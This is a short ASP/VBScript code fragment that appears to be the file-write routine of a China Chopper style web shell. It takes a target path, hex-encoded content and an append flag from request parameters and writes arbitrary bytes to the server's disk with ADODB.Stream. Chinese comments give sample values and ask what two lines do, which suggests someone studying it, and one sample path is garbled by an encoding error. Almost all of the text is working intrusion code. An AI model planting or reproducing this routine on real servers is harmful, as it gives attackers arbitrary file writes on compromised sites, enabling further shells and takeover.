Dim l,ss,ff,T
ff=bd(request("z1"))
‘z1 上传路径 C:\\Documents and Settings\\a\\×à??\\www\\.\\123.txt
ss=Request("z2")
‘z2 文件内容 123456
l=Len(ss)
Set S=Server.CreateObject("Adodb.Stream")
With S
.Type=1
.Mode=3
.Open
If Request("z3")>0 Then
‘z3 下面这2行啥意思啊
.LoadFromFile ""&ff&""
.Position=.Size
End If
set rs=CreateObject("ADODB.Recordset")
rs.fields.append "bb",205,l/2
rs.open:rs.addnew:rs("bb")=ss+chrb(0)
rs.update:.Write rs("bb").getchunk(l/2)
rs.close
Set rs=Nothing
.Position=0
.SaveToFile ""&ff&"",2
.Close
End With
Set S=Nothing
If Err Then
T=Err.Description
Err.Clear
Else
T="1"
End If
Response.Write(T)
